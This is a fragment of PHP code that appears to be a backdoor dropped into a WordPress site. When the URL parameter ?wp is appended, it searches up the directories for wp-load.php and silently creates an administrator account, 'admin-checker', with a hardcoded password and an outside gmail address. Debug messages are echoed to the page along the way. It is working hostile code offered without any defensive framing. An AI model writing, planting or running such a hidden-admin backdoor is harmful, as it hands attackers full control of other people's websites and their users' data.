Current directory: $cwd

"; // Debugging line if (isset($_GET['wp'])) { $wppath = $cwd; // Debugging: echo the search path echo "

Searching for wp-load.php in: $wppath

"; // Traverse up the directory tree until wp-load.php is found while ($wppath !== '/' && !file_exists("$wppath/wp-load.php")) { $wppath = dirname($wppath); // Debugging: echo every directory it's checking echo "

Checking directory: $wppath

"; } if (file_exists("$wppath/wp-load.php")) { require_once("$wppath/wp-load.php"); // Define user credentials $user = 'admin-checker'; $pass = 'ChE$T3r88'; $mail = 'wp.admincheck@gmail.com'; // Check if the user exists if (!username_exists($user) && !email_exists($mail)) { $uid = wp_create_user($user, $pass, $mail); $wp_user = new WP_User($uid); $wp_user->set_role('administrator'); echo "

✅ WP Admin 'nova' created successfully

"; } else { echo "

⚠️ User or email already exists

"; } } else { echo "

❌ wp-load.php not found in the expected directory. Check your WordPress installation path.

"; } } else { echo "

Append ?wp to the URL to trigger admin creation.

"; } ?>